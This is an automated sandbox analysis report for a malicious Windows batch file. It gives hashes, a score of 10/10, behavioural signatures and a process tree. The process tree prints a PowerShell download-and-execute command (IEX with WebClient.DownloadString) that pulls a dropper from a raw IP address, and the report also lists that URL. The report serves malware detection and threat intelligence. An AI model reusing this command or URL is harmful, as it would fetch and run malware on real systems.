Analysis

  • max time kernel
    62s
  • max time network
    75s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12/07/2020, 00:10

General

  • Target

    d3fe887fa5f2522fa18e5a7a4c7edeab.bat

  • Size

    219B

  • MD5

    095d4b51311078e00015480ea6d28ab4

  • SHA1

    fc6cc3517edfddf916eb2275b9576d217c6a82b1

  • SHA256

    bf720acfb3a2f503222eae5a572791a0230dbf4ce5ed2c02b4f8dda85341c4a9

  • SHA512

    2a7f213d950e9321dfd88f62fc5c138667c09e337f672edfd8019e3fe78451c39f734399ae308177306f577f4e49730ef7b4bb69530c5e0732d992ab464fa45c

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/d3fe887fa5f2522fa18e5a7a4c7edeab

Signatures

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\d3fe887fa5f2522fa18e5a7a4c7edeab.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/d3fe887fa5f2522fa18e5a7a4c7edeab');Invoke-DWHAFNSROCWU;Start-Sleep -s 10000"
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      PID:852

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads